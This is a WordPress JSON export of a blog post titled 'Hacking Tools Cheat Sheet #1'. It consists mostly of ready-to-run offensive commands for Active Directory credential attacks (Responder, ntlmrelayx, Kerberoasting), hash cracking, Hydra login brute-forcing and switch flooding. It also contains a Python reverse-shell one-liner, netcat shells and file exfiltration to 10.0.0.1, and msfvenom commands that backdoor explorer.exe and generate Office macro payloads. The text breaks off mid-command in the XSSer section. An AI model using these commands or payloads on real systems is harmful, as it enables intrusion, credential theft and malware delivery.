{"id":822,"date":"2021-01-27T21:28:44","date_gmt":"2021-01-27T21:28:44","guid":{"rendered":"https:\/\/dft.wiki\/?p=822"},"modified":"2026-06-09T13:13:29","modified_gmt":"2026-06-09T17:13:29","slug":"pentesting-tools","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=822","title":{"rendered":"Hacking Tools Cheat Sheet #1"},"content":{"rendered":"
Reference List<\/h5>\n
    \n
  1. \n
      \n
    1. CrackMapExec<\/a><\/li>\n
    2. Responder<\/a><\/li>\n
    3. ntlmrelayx<\/a><\/li>\n
    4. GPP-Decrypt<\/a><\/li>\n
    5. GetUserSPNs<\/a><\/li>\n
    6. HashCat64<\/a><\/li>\n
    7. HashCat<\/a><\/li>\n
    8. NetCat<\/a><\/li>\n
    9. Veil-Framework<\/a><\/li>\n
    10. Mentalist<\/a><\/li>\n
    11. CUPP<\/a><\/li>\n
    12. Skipfish<\/a><\/li>\n
    13. Grabber<\/a><\/li>\n
    14. Httrack<\/a><\/li>\n
    15. Wafw00f<\/a><\/li>\n
    16. Hydra<\/a><\/li>\n
    17. pw-Inspector<\/a><\/li>\n
    18. MACof<\/a><\/li>\n
    19. Sublist3r<\/a><\/li>\n
    20. Nessus<\/a><\/li>\n
    21. XSSer<\/a><\/li>\n
    22. SQLmap<\/a><\/li>\n
    23. DirBuster<\/a><\/li>\n
    24. MDK3<\/a><\/li>\n
    25. Sherlock<\/a><\/li>\n
    26. MasScan<\/a><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n
      \n

      CrackMapExec<\/strong> is a post-exploitation tool that helps automate security assessments of large Active Directory networks. It automates login attempts across multiple computers in the network [Link<\/a>].<\/p>\n

      sudo apt-get install crackmapexec -y<\/pre>\n
      If you already have credentials:<\/p>\n
      crackmapexec smb 10.0.0.0\/24 -u Administrator -p 'Pa$$w0rd1!' -d WORKGROUP<\/pre>\n
      If you only have the hash:<\/p>\n
      crackmapexec smb 10.0.0.0\/24 -u Administrator -H asd3b4...89c0<\/strong><\/pre>\n
      Replace asd3b4…89c0<\/strong> with the full hash you obtained.<\/p>\n
      \n
      Responder<\/strong> exploits SMB vulnerabilities [Link<\/a>] (deprecated version also at [Link<\/a>]).<\/p>\n
      locate Responder.py\r\ncd \/usr\/share\/responder\/\r\npython Responder.py -I eth0 -rdw -v<\/pre>\n
      \n
      ntlmrelayx<\/strong> relays a received NTLM hash to a target IP listed in target.txt, gaining access to SMB shares using someone else’s credentials.<\/p>\n
      locate ntlmrelayx.py\r\ncd \/opt\/impacket\/examples\r\npython ntlmrelayx.py -tf target.txt -smb2support<\/pre>\n
      \n
      GPP-Decrypt<\/strong> decrypts GPP passwords.<\/p>\n
      gpp-decrypt edBS...lVmQ<\/strong><\/pre>\n
      Replace edBS…lVmQ<\/strong> with the encrypted GPP password string.<\/p>\n
      \n
      GetUserSPNs<\/strong> is part of a Kerberoast attack. It finds Service Principal Names associated with normal user accounts, which can then be used for an offline brute-force attack against the SPN account’s NTLM hash if valid TGS tickets can be obtained [Link<\/a>].<\/p>\n
      python GetUserSPNs.py Domain\/User -dc-ip 10.0.0.1 -request\r\n\r\nPassword: *******<\/pre>\n
      \n
      HashCat64<\/strong> is a powerful brute-force hash cracker, useful for cracking hashes obtained from GetUserSPNs or other sources [Link<\/a>].<\/p>\n
      hashcat64.exe --help\r\nhashcat64.exe -m 13100 kerberoast.txt rockyou.txt<\/pre>\n
      \n
      HashCat<\/strong> is a password cracker [Link<\/a>].<\/p>\n
      sudo apt install hashcat\r\nhashcat -m 5600 hash.txt rockyou.txt\r\nhashcat -m 5600 hash.txt rockyou.txt --force<\/strong>\r\nhashcat -I\r\nhashcat -d<\/strong> 1,2 -m 2500<\/strong> -w 3 --status -a 6 wpa2_handshake.hccapx<\/strong> wordlist.txt\r\nhashcat jwt.txt -m 16500 -a 0 rockyou.txt -r OneRuleToRuleThemAll.rule<\/strong><\/pre>\n
      Note that the hash captured with Responder was copied to hash.txt<\/strong> and mode 5600 is for NetNTLMv2<\/strong>. Use –help<\/strong> to find the module that matches your hash type. The password list used here is rockyou.txt<\/strong>, but another popular option is BreachParse<\/strong>.<\/p>\n
      The fourth line lists available CPUs and GPUs using -I<\/strong>, then specifies computing devices 1<\/strong> and 2<\/strong>, sets module 2500<\/strong> for WPA\/WPA2, performance level 3<\/strong> (1-4), and additional parameters.<\/p>\n
      Get OneRuleToRuleThemAll<\/strong> from [Link<\/a>].<\/p>\n
      \n
      NetCat<\/strong> is a tool for creating network-based functionality such as chat, file transfer, remote shell, port scanning, and more [Link<\/a>].<\/p>\n
      Server Side (Listener):<\/p>\n
      nc -nvlp 8080\r\nnc -n -v -l -p 5555 -e \/bin\/bash\r\nnc -n -v -l -p 5555 -e cmd.exe\r\nnc -l -p 1234 > receive.file<\/pre>\n
      Client Side:<\/p>\n
      nc -nv 10.0.0.1 5555\r\nnc -zv domain.com 80-88\r\nnc -w 3 10.0.0.1 1234 < send.file<\/pre>\n
      It can also be accessed via other tools:<\/p>\n
      wget --post-file=file.txt 10.0.0.1 8080\r\n\/bin\/bash -c '(while ! nc -z -v -w1 localhost 22 2>\/dev\/null; do echo \"Waiting for port 22 to open ...\"; sleep 2; done); sleep 2'<\/pre>\n
      Getting a reverse shell with Python:<\/p>\n
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/bash\",\"-i\"]);'<\/pre>\n
      \n
      Veil-Framework<\/strong> is a tool designed to generate Metasploit payloads that bypass common anti-virus solutions [Link<\/a>].<\/p>\n
      git clone https:\/\/github.com\/Veil-Framework\/Veil.git\r\ncd Veil\/\r\n.\/config\/setup.sh --force --silent<\/pre>\n
      \n
      msfVenom<\/strong> is a framework for creating and encrypting payloads. Note on EXITFUNC values: thread (clean exit), process (restarts on exit), seh (restarts the process on error).<\/p>\n
      msfvenom -p windows\/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 EXITFUNC=thread -f c<\/strong> -a x86<\/strong> -b \"\\x00<\/strong>\"<\/pre>\n
      The first example creates a payload with file type 'c<\/strong>', architecture 32-bit<\/strong>, and excludes the bad character '\\x00<\/strong>'. Since no output file is specified, the shellcode is printed to the screen for copying.<\/p>\n
      msfvenom -p windows\/x64\/meterpreter\/reverse_http EXITFUNC=thread LPORT=4444 LHOST=10.0.0.1 -f raw<\/strong> -o payload.bin<\/strong> --smallest<\/strong><\/pre>\n
      The second example sets the format to 'raw<\/strong>', outputs to 'payload.bin<\/strong>', and attempts to generate the smallest shellcode possible.<\/p>\n
      msfvenom -a x86 --platform Windows -p windows\/shell\/bind_tcp -e x86\/shikata_ga_nai -b '\\x00' -i 3<\/strong> -f python<\/strong> -n 26<\/strong><\/pre>\n
      The third example creates a payload with 3<\/strong> iterations of the 'shikata_ga_nai<\/strong>' encoder, no null bytes, output in 'python<\/strong>' format, and 26<\/strong> NOPs prepended.<\/p>\n
      msfvenom -a x86 --platform windows -x explorer.exe<\/strong> -k<\/strong> -p windows\/shell\/bind_tcp lhost=10.0.0.1 -b \"\\x00\" -f exe -o explorer_backdoor.exe<\/strong><\/pre>\n
      The fourth example takes an existing 'explorer.exe<\/strong>' and uses '-k<\/strong>' to run the payload in a separate thread, outputting 'explorer_backdoor.exe<\/strong>' with the appended payload.<\/p>\n
      msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=eth0<\/strong> LPORT=4444 -f exe<\/strong> > shell.exe<\/pre>\n
      The fifth example creates a Meterpreter reverse shell as an exe<\/strong>, letting msfvenom automatically resolve the IP of interface eth0<\/strong>.<\/p>\n
      msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=eth0 LPORT=53 -f vba -o macro.vba<\/strong><\/pre>\n
      The last example creates a macro for use with Microsoft Office tools.<\/p>\n
      \n
      Mentalist<\/strong> creates password lists using rule sets and can also import existing lists such as CUPP's output [Link<\/a>].<\/p>\n
      mentalist<\/pre>\n
      \n
      CUPP<\/strong> (Common User Passwords Profiler) generates a list of possible passwords based on information about the target and their associates, such as first names, last names, nicknames, and birthdates [Link<\/a>].<\/p>\n
      sudo python cupp.py -i<\/pre>\n
      \n
      Skipfish<\/strong> is a website spider\/crawler that also tests for various vulnerable parameters and configurations.<\/p>\n
      skipfish -YO -o ~\/Desktop\/folder http:\/\/192.168.x.x<\/pre>\n
      \n
      Grabber<\/strong> is a spider\/crawler that tests for SQLi (SQL Injection) and XSS (Cross-Site Scripting).<\/p>\n
      grabber --spider 1 --sql --xss --url http:\/\/example.com<\/pre>\n
      \n
      Httrack<\/strong> recursively downloads a website, creating a local mirror.<\/p>\n
      httrack http:\/\/example.com -O ~\/Desktop\/file<\/pre>\n
      Note: the same can be done with wget. The default depth is 5; the example below sets it to 10:<\/p>\n
      wget -r -l 10<\/strong> http:\/\/example.com<\/pre>\n
      \n
      Wafw00f<\/strong> detects the presence of a Web Application Firewall.<\/p>\n
      wafw00f http:\/\/example.com<\/pre>\n
      \n
      Hydra<\/strong> is a brute-force login cracker supporting numerous protocols: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP\/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC, and XMPP [Link<\/a>].<\/p>\n
      hydra -l userName -P \/usr\/share\/wordlists\/metasploit\/unix_passwords.txt -t 5 10.0.0.1 ssh\r\nhydra -L users.lst -P \/usr\/share\/wordlists\/rockyou.txt ftp:\/\/10.0.0.1\r\nhydra -L usernames.txt -P passwords.txt 10.0.0.1 http-post-form '\/login.php:username=^USER^&password=^PASS^:F=incorrect' -v<\/pre>\n
      The first example attempts to guess the password for userName<\/strong> using Metasploit's unix_passwords.txt<\/strong> list with 5<\/strong> threads over SSH<\/strong>.<\/p>\n
      The second example attempts to log in to an FTP server using a list of usernames and the rockyou wordlist.<\/p>\n
      The third example targets an HTTP POST login form, supplying username and password lists and marking failed attempts by the word \"incorrect\" in the response.<\/p>\n
      \n
      pw-Inspector<\/strong> filters a wordlist by password length criteria (from 6<\/strong> to 10<\/strong> characters in the example below).<\/p>\n
      pw-inspector -i whole_wordlist.txt -o filtered_list.txt -m 6 -M 10<\/pre>\n
      \n
      MACof<\/strong> floods a switch with random MAC addresses.<\/p>\n
      macof\r\nmacof -n 100\r\nmacof -i eth0 -d 192.168.1.1 -y 80<\/pre>\n
      \n
      Sublist3r<\/strong> is a tool designed to passively<\/strong> enumerate subdomains of websites using OSINT [Link].<\/p>\n
      sublist3r -d example.com -t 5 -e bing<\/pre>\n
      \n
      Nessus<\/strong> is a powerful professional vulnerability scanner [Link<\/a>].<\/p>\n
      sudo systemctl start nessusd.service\r\nhttps:\/\/localhost:8834\/<\/pre>\n
      \n
      XSSer<\/strong> is an automated framework for detecting, exploiting, and reporting XSS vulnerabilities in web applications.<\/p>\n
      sudo apt install xsser\r\nxsser --gtk\r\n\r\nxsser --url \"http:\/\/127.0.0.1\/login.php\" -p \"user=XSS<\/strong>&password=secret\"\r\nxsser --url \"http:\/\/127.0.0.1\/login.php\" -p \"user=XSS<\/strong>&password=secret\" --auto\r\nxsser --url \"http:\/\/127.0.0.1\/login.php\" -p \"user=XSS<\/strong>&password=secret\" -Fp \"